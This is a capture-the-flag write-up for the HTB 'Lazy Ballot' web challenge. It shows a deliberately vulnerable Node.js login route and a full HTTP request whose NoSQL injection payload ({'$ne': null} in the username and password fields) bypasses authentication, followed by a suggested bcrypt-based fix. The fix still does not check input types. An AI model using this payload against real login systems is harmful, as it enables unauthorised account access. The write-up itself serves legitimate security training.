Lazy Ballot
Challenge
- CTF: HTB Business CTF 2023: The Great Escape
- Name: Lazy Ballot
- Category: Web
- Difficulty: Very Easy
- Points: 350
- Description: As a Zenium State hacker, your mission is to breach Arodor’s secure election system, subtly manipulating the results to create political chaos and destabilize their government, ultimately giving Zenium State an advantage in the global power struggle.
Files
Download: web_lazy_ballot.zip
Synopsis
The Express Node.JS web application was vulnerable to a simple authentication bypass via {"username": {"$ne": null}, "password": {"$ne": null} }
as there lacked any input parsing. After this is complete, the user is presented with the flag on the dashboard screen.
Initial Analysis
You can spin this up via docker and it will be hosted at http://127.0.0.1:1337 or http://172.17.0.3:1337
1
sudo ./build-docker.sh
When browsing to the site for the first time you are presented with a cool welcome screen:
When analyzing the backend source code, the routes/index.js
contained all the routes for the Express Node.JS web application.
When the user logins in, they send a POST request to /api/login
as show below:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
router.post("/api/login", async (req, res) => {
const { username, password } = req.body;
if (!username || !password) {
return res.status(403).send(response("Missing parameters"));
}
if (!await db.loginUser(username, password)) {
return res.status(403).send(response("Invalid username or password"));
}
req.session.authenticated = true;
return res.send(response("User authenticated successfully"));
});
In the helpers/database.js
file, it defines the loginUser(username,password)
function that contains no input-parsing.
1
2
3
4
5
6
7
8
9
10
11
12
13
async loginUser(username, password) {
const options = {
selector: {
username: username,
password: password,
},
};
const resp = await this.userdb.find(options);
if (resp.docs.length) return true;
return false;
}
NoSQL Authentication Bypass
Sending the following request should bypass authentication via a NOSQL injection to the username and password fields.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /api/login HTTP/1.1
Host: 127.0.0.1:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:1337/login
Content-Type: application/json
Origin: http://127.0.0.1:1337
Content-Length: 37
Connection: close
Cookie: connect.sid=s%3AkZ__LWngu7S28_eAQK9nKeWEFoT-A2dG.VVyjshtdHZvqSdo34AdEGDHKfeyT0R4PljjjOWM0qjk
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
{"username": {"$ne": null}, "password": {"$ne": null} }
The flag is located at the 180th location on the dashboard (9th page).
Mitigation
This would be a secure mitigation for this code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const bcrypt = require('bcrypt');
async loginUser(username, password) {
// Find the user by the provided username
const user = await this.userdb.findOne({ username: username });
if (!user) {
return false; // User not found
}
// Compare the provided password with the stored hashed password
const isPasswordValid = await bcrypt.compare(password, user.password);
return isPasswordValid;
}